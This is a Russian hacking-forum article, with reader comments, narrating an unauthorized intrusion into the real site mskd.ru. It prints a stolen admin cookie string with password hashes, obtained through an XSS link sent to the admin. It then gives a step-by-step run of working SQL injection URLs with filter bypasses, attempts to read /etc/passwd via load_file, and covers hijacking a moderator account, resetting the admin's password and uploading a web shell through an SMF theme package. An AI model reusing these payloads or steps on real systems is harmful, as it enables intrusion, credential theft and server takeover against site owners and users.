Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе

Последнее на Форуме

Контакты

Связь с Администрацией

hpcteam1[@]gmail.com

Статьи rss

[ Добавить Статью на сайт ]

Статьи / Безопасность / Общий раздел / Сайты/Форумы/CMS

Исследуем безопасность сайта на примере mskd.ru

Дело началось еще около года назад, когда я тренировался в поисках XSS на просторах отечественных сайтов. И, неожиданно для самого себя, нашел подобную вещь в строке поиска на упомянутом мною портале. Это, конечно, было удивительно - сайт не новый, довольно раскрученный, а тут такая досадная оплошность со стороны админа - XSS. Недолго думая, сформировал ядовитую ссылку, кинул в ЛС админу и модерам с приметкой об ошибке на сайте, и ушел пить чай. Вернувшись, увидел, что меня забанили, по IP, по нику и вообще как только можно :). В логах было пусто. Пока с горя пил вторую чашку чая, в логе появилась запись -

user_ns=YWRtaW4=; phpbb2mysqlmskd_data=a:2:{s:11:"autologinid";s:32:"6fb7fb04f37b712aac23596075b7e2e5";s:6:"userid";i:2;}; SMFCookie293=a:4:{i:0;s:1:"2";i:1;s:40:"6ccf62edc6e3e807bc4c335a6c0ae680d2d3336f";i:2;i:1453361555;i:3;i:0;}; PHPSESSID=3a5fae5c488265b2149735bc3795b59c; user_nss=YWRtaW4=#; user_tplC=ultra; user_log_in=db00b39a9e918933f06405af1039e60a; user_ID=1; user_name=admin; user_pass=0b85f1f02ca8fa9119f12da2267ec38a; sh_block_radio=0; sh_block_download=0; sh_block_select_tpl=0; sh_block_tags=0; sh_block_links_sites=0; sh_block_poll=0; sh_block_button=0; sh_block_humor=0; sh_block_subscribe=0; sh_block_minichat=1; unicum_voter_189634=voted; last_chat_mess=[u]Наивный[/u]  :sm04:; antispam_image=0; user_pm_unread=5; user_mchatlimit=1; MG_1800=14; MG_5171=11; MG_5170=10; MG_5968=9; b=b

Гы, толи любопытство у админа сыграло, то ли забанил меня какой-то знающий модер, а админ по ссылке перешел уже потом - не знаю, но науку в моем лице это не интересовало :). Самое главное, что в куках был хеш пароля админа. ЗЫ Сразу скажу, что под залогиниться под куками у меня не получилось - поздно спохватился, видимо, админ уже завершил сессию. Но у меня в руках был хеш. Да, как показала практика - получить хеш, это еще не значит взломать. Я разместил этот хеш на множестве ресурсов рунета и уанета, я на дедушке сам поставил брут. 2 недели издевательства - а результата никакого не было. И не было гарантии, что админ не поменял пасс после обнаружения атаки на него через XSS. Плюнул я на это дело и забыл.


А недавно гугл снова занес меня на этот сайт. Первым делом, я, естесственно, проверил старую дырочку в поиске - htmlspecialchar() был на лицо :). И подумалось мне, а нет ли тут других вкусностей? Движок все-таки сильно похож на самописный, поэтому все могло быть. И я пошел по сайту.
Не буду утомлять вас описанием моих похождений и сразу скажу, что судьба была милостива ко мне. Подстановкой кавычки была обнаружена банальная sqli да еще и с раскрытием путей.



Но самое интересное оказалось впереди - скрипт фильтровал такие привычные нам плюсы и пробелы, и выпадал в ошибку. Обходим фильтр на плюсы/пробелы конструкцией /**/, самое главное, что работает связка order+by. Определяем количество столбцов -35. Для определения принтабельных полей поставил минус перед числом - опять получил ошибку. Убрал минус, добавил несколько нолей к ID номеру - и все заработало.

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

Принтабельные поля были 27, 29, 32.

Ну, дальше уже вроде как дело техники, опять-таки подумалось мне. И снова вспоминаются слова: если хотите рассмешить богов - начните планировать будущее (за точность цитаты не ручаюсь :)). Для начала традиционно: юзер, версия БД, имя БД:

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,version(),28,user(),30,31,database(),33,34,35--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip



Банальный запрос на имена таблиц

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,table_name,30,31,32,33,34,35/**/from/**/information_schema.tables--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

выпадал с традиционной ошибкой. Опять фильтры. Если честно - не могу понять таких админов. Фильтруют кучу хрени, кроме самого запроса. Ни себе, ни хакерам :). Подозреваю, что фильтр был на нижнее подчеркивание, и как его обойти - хз. Но не мог же я просто все бросить, да еще на самом интересном месте :). Пришлось взять карты Таро и начинать угадывать таблицы. Первый запрос ушел в никуда:

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/admin--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

Но очередной запрос вернул правильную страницу, а значит таблица была угадана:

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

Осталось вычленить колонки с именами и паролями. Памятуя о фильтре на нижнее подчеркивание, опять начал гадать. Начал с пассов:

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,user_pass,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

Логины хранятся в столбце user_login
Итак, долгожданный вывод админского хеша:

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,user_pass,30,31,32,33,34,35/**/from/**/users/**/where/**/user_login=0x61646d696e--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip



Как всегда - хрен пробрутишь. Честно скажу - опять оставил заявки на разных ресурсах, за сутки ответа не было.

Что ж, если гора к нам не идет, то пойдем мы к ней. Придется становиться админами самостоятельно.

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,file_priv,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

Ошибка, т.к. опять это нижнее подчеркивание?

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,load_file('/var/www/admin/data/www/mskd.ru/modules/page_id.inc'),30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

Ошибка. Загоним путь в sql-hex:

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,load_file('0x2f7661722f7777772f61646d696e2f646174612f7777772f6d736b642e72752f6d6f64756c65732f706167655f69642e696e63'),30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

Страница подгружается, но содержимого файла не видно.
Попробуем прочитать другой файл, например, /etc/passwd из корня.
То же самое. Аналогично и для index.php из корня.
/var/www/admin/data/www/mskd.ru/index.php

Да, читать файлы мы не можем. Плохо.

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

Что ж, пойдем другим путем. На сайте есть форум - Powered by SMF 1.1.11.
Чтобы не копать еще и форум - глянул на руководство форума и достал хеш их паролей с форума. Первым найденным расшифрованным хешем стал юзер pashasa. Итак, я модератор форума mskd.ru/forum, да еще и глобальный модератор :).



А пасс админа опять небрутабелен.
А вот тут меня ожидала приятная неожиданность :). Зайдя от имени глобального модератора в профиль админа форума, я смог поменять последнему пароль. Палевно, а что делать :). Будем надеяться, что админ спишет это на свою невнимательность.
Вот я и админ форума. Сразу сделал новый профиль, дал ему админские права.

Вторым делом я пошел в гугл - ведь наша цель получить шелл на сервере. Нашел 2 способа - через темы и через вложения, но оба не работали:

2: file_exists() [<a href='function.file-exists'>function.file-exists</a>]: open_basedir restriction in effect. File(/var/www/virtual/mskd.ru/htdocs/fm/Themes/classic/style.css) is not within the allowed path(s): (/var/www/admin/data/www/mskd.ru/:/var/www/admin/data/www/tmp-php:.)
Файл: /var/www/admin/data/www/mskd.ru/forum/Sources/Themes.php
Строка: 1282

Видать, ограничения на запись в папках. Немного покопавшись в настройках форума, находим опцию: Main->Packges->Options->Cleanup Permissions->"All files are writable"
Сохраняем, идем в установку тем, заливаем zip архив, содержащий наш шелл (у меня wso2.5 by Orb), и переходим по адресу mskd.ru/forum/themes/название нашего архива/название нашего шелла.php

Вуаля, шелл наш :).



К сожалению, права на сервере у нас ограничены, но поднимать их до рута не входит в наши планы. Хотя беглый запрос в гугл показал, что ядро имеет сплойт, оставим это на потом.

Естественно, база данных скачана, шелл перепрятан. Админу тоже сброшена весточка об уязвимости. Была мысль шелл продать, но совесть не позволяет. Ладно, буду бедный - но гордый :).


Вот, собственно, и все.
С уважением, stan_q
для форума HPC



ЗЗЫ По состоянию на сегодняшний день, указанные уязвимости на сайте отсутствуют, также был удален залитый мною шелл. Т.к. бэкдоров я никаких ни в коде, ни в файлах не оставлял, доступа к сайту у меня уже нет. А админ даже спасибо не сказал. Хотя за оперативность (за ночь все устранили) админу отдельный респект.


ЗЗЗЫ Все написано исключительно в образовательных целях, я никого не призываю к каким-либо деструктивным действиям. Учтите, что за свои действия вы несете ответственность лично. Моей целью было показать, что даже старые и крупные проекты могут иметь в своем коде множество баг.

Автор: stan_q

Материал добавил stan_q


Комментарии(4)

Дата: 2011-01-09 19:34:41

Добавить Комментарий к Материалу

Вы должны быть авторизованы на форуме чтобы добавлять комментарии. Регистрация Уже авторизованы?

Комментарии к Материалу

 mefistofel              2011-01-12 1:19:08

Автору респект ))
Сколько раз я приходил к админу чтобы помочь закрыть дырки, а он начинал материть. )) Вот такие идоты существуют ))

 stan_q              2011-01-17 23:04:44

Да, сегодня общался с младшим братом бывшего админа, который сейчас ведет сайт. Сказал, что старший брат его "хеккеров" не любит, поэтому и не общался. А зря он так себя вел, при наличии кучи дыр на сайте-то.
Ну ничего, младший вроде попроще. Поспрашивал, как сайт ломал, как шелл заливал, ну и попросил, если что найду, подсказать ему. Жаль, что денег не предложил Улыбающийся

 M@ZAX@KEP              2011-01-23 13:31:10

Я один так внимательно читал или...
При попытке вывода file_priv у тебя ошибка и ты винишь нижнее подчёркивание... окей, а почему с user_pass и user_login всё шоколадно? Что-то тут не сходится В замешательстве

 stan_q              2011-01-26 21:03:39

Да, видать фильтр был в чем-то другом. Ключевое слово "был" - уже, к сожалению, все фильтруется Грустный

Последнее на Сайте

Новости

Статьи

Bugtraq

Файлы

Copyright © 2008 - 2017 «HPC». При копировании материалов ставьте ссылку на источник.
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.
Пользовательское соглашение Реклама на сайте